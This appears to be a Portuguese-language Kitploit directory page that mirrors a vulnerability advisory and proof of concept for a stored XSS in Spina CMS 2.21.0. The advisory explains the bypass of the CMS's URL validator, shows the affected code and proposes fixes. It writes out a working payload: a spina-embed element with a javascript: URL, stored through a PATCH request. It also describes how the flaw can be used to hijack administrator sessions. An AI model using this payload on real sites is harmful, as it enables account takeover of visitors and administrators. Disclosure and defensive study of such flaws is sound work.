Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/primandito/cve-2026-117182
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebPapers e PesquisaAprendizado e Educação
GitHubprimandito/cve-2026-117182

CVE-2026-117182

Prova de conceito e análise técnica para CVE-2026-117182, um XSS armazenado autenticado no Spina CMS 2.21.0 por meio do bypass do SafeUrlValidator no caminho de renderização de rich-text.

Ver Repositório
há 18 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    590
  • 3

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingere relatórios do Shadowserver no MongoDB e os reproduz como mapas interativos, análises, descobertas, avisos e painéis executivos.

    383
  • 4

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    322
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    O sistema de ação para cibersegurança nativa em IA—onde a intenção se torna execução governada, a evidência se torna memória operacional, e cada operação melhora a próxima.

    309
  • 6

    redforge

    cybersecurity91/redforge

    Kit de ferramentas de red team do lado do navegador com 102 ferramentas offline para reconhecimento, geração de payloads, ataques a credenciais, criptografia, codificação e relatórios de engajamento.

    283

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-117182 — XSS Armazenado Autenticado via Bypass do SafeUrlValidator no Spina CMS 2.21.0

CVE Version Status CVE State

Resumo

O Spina CMS v2.21.0 permite que um usuário da equipe autenticado realize Cross-Site Scripting Armazenado (XSS) no site público. O Spina::SafeUrlValidator (introduzido no PR #1448) só é executado quando um embed é salvo através do formulário de embed do admin. No entanto, o conteúdo de rich text é salvo através do formulário de edição de página (Spina::Parts::Text), que não aciona essa validação.

Quando uma página é renderizada, o embed é reconstruído a partir do HTML/JSON armazenado por Spina::Embeddable.from_json, que não realiza nenhuma validação, e então é emitido via link_to button.url. Como o documento inteiro é envolvido em um SafeBuffer por RichTextPresenter#to_s, uma URL javascript: armazenada no rich text contorna a validação e se torna um href ativo, levando à execução de script na origem do site público.

Impacto: Um atacante com uma conta autenticada no CMS pode injetar um payload que é executado quando um visitante não autenticado ou um administrador autenticado visualiza a página pública. Isso pode levar ao sequestro de sessão, extração de token CSRF e ações autenticadas não autorizadas em nome de um administrador.

CampoValor
CVE IDCVE-2026-117182
Registro Oficialcve.org/CVERecord?id=CVE-2026-117182
Versão AfetadaSpina CMS (gem Ruby) <= 2.21.0
Tipo de VulnerabilidadeCWE-79: Cross-Site Scripting (XSS Armazenado)
Vetor de AtaqueRede
Privilégios NecessáriosBaixo (Requer uma conta autenticada no CMS)
Componente AfetadoSpina::RichTextPresenter, Spina::Embeddable.from_json, Spina::Admin::PagesController#page_params, app/views/spina/embeds/buttons/_button.html.erb
Relatório OriginalSpinaCMS/Spina#1452

Arquivos Afetados

Caminho do ArquivoDescrição
app/presenters/spina/rich_text_presenter.rbEnvolve o documento inteiro em um SafeBuffer sem sanitização.
lib/spina/embeddable.rbReconstrói o embed a partir do JSON sem validar o esquema da URL.
app/controllers/spina/admin/pages_controller.rbPermite todos os parâmetros (permit!), contornando a validação em nível de modelo no caminho do rich text.
app/views/spina/embeds/buttons/_button.html.erbEmite link_to button.url diretamente para o site público.

Código Vulnerável

Os Dois Caminhos

Caminho 1: Formulário de Embed (Validado) O formulário de embed constrói o objeto através do modelo, acionando o validador.

# app/controllers/spina/admin/embeds_controller.rb:9
@embeddable = Spina::Embeds.constantize(embed_type).new(embed_params)

# app/models/spina/embeds/button.rb:7-8
validates :url, :label, presence: true

Caminho 2: Rich Text (Não Validado) O conteúdo rich text é salvo diretamente através dos parâmetros da página e renderizado posteriormente sem validação.

# app/controllers/spina/admin/pages_controller.rb
def page_params
  params.require(:page).permit!
end

# lib/spina/embeddable.rb:11-18, reached from rich_text_presenter.rb:37
def from_json(json)
  attributes = JSON.parse(json)
  attributes.transform_keys!(&:to_sym)
  new(attributes)
rescue
  Rails.logger.error "[#{self.class.name}] Couldn't parse JSON"
  nil
end

O sink onde a URL não sanitizada é renderizada:

<%# app/views/spina/embeds/buttons/_button.html.erb %>
<%= link_to button.url do %>
  <%= button.label %>
<% end %>

Fator contribuinte: RichTextPresenter#to_s envolve todo o documento num ActiveSupport::SafeBuffer, o que significa que tudo o que não seja um <figure> incorporado é passado sem alterações.


Prova de Conceito

Pré-requisitos

  • Spina CMS v2.21.0 a correr localmente (testado em Rails 8.1.3).
  • Uma conta CMS autenticada com permissão para editar o conteúdo da página.
  • Firefox 153.4.0esr (64-bit) para testar a ativação do utilizador.

Passo 1 — Caso de Controlo (O Validador Funciona no Formulário)

Spina::Embeds::Button.new(
  url: "javascript:void(document.title=String.fromCharCode(88))",
  label: "Click me"
).valid?
# => false, "Url must be a relative path or start with http://, https://, mailto: or tel:"

Passo 2 — Armazenando o Payload via Rich Text

Envie uma requisição PATCH /admin/pages/1 com um token CSRF normal, armazenando o seguinte HTML como conteúdo de qualquer parte Spina::Parts::Text em uma página publicada:

<figure data-trix-content-type="application/vnd+spina.embed+html">
  <spina-embed data-embed-type="Spina::Embeds::Button"
    data-embed-attributes='{"url":"javascript:void(document.title=String.fromCharCode(88))","label":"Click me"}'>
  </spina-embed>
</figure>

Etapa 3 — Execução

Navegue até GET / (sem estar logado). A página retorna:

<a href="javascript:void(document.title=String.fromCharCode(88))">Click me</a>

Um clique real do usuário (usando um evento de entrada confiável, não element.click()) executa o payload. Como ele é executado na própria origem do site, uma requisição fetch() a partir da página pública carregará o cookie de sessão do visitante, permitindo que o atacante leia /admin/users e realize gravações autenticadas.


Escopo e Limitações

  • Autenticação Necessária: Requer uma conta autenticada no CMS (não é pré-autenticação).
  • Sem RCE: Tudo permanece no navegador (lado do cliente).
  • Painel de Administração Imune: O Trix reprocessa o conteúdo armazenado e descarta o payload no painel de administração. Trata-se de XSS Armazenado apenas no site público.
  • Distinto do CVE-2023-3445: O CVE-2023-3445 era um XSS no dropdown das páginas de administração (corrigido por uma chamada sanitize() em actions_component.html.erb). O caminho de renderização de rich text nunca foi sanitizado.

Correção Recomendada

1. Reaplicar a Política de URL em Embeddable.from_json

A menor alteração é reaplicar a política de URL exatamente onde os atributos são lidos do JSON armazenado.

def from_json(json)
  attributes = JSON.parse(json)
  attributes.transform_keys!(&:to_sym)
  
  # Validate URL if present
  if attributes[:url] && !SafeUrlValidator.new.safe?(attributes[:url])
    return nil 
  end

  new(attributes)
rescue
  # ...
end

2. Sanitizar em RichTextPresenter

Sanitizar na saída em RichTextPresenter resolveria o problema do SafeBuffer, mas exige estender a allowlist com figure, spina-embed e seus atributos data-embed-* para que os embeds existentes continuem a ser renderizados.


Linha do tempo

DataEvento
2026-10-18Issue #1452 reportada ao repositório do SpinaCMS
2026-10-30Registro oficial da CVE publicado em cve.org
—Aguardando resposta do mantenedor sobre a correção

Referências

  • Registro oficial da CVE — CVE-2026-117182
  • Relatório original — SpinaCMS/Spina#1452
  • CWE-79: Neutralização Imprópria de Entrada Durante a Geração de Páginas Web ('Cross-site Scripting')
  • OWASP: Cross Site Scripting (XSS)

Aviso legal

Este artigo é fornecido apenas para fins educacionais e defensivos. Todos os testes foram realizados em uma instância hospedada localmente e pertencente ao autor. Não utilize estas técnicas contra sistemas sem autorização escrita explícita.


Baixar ferramenta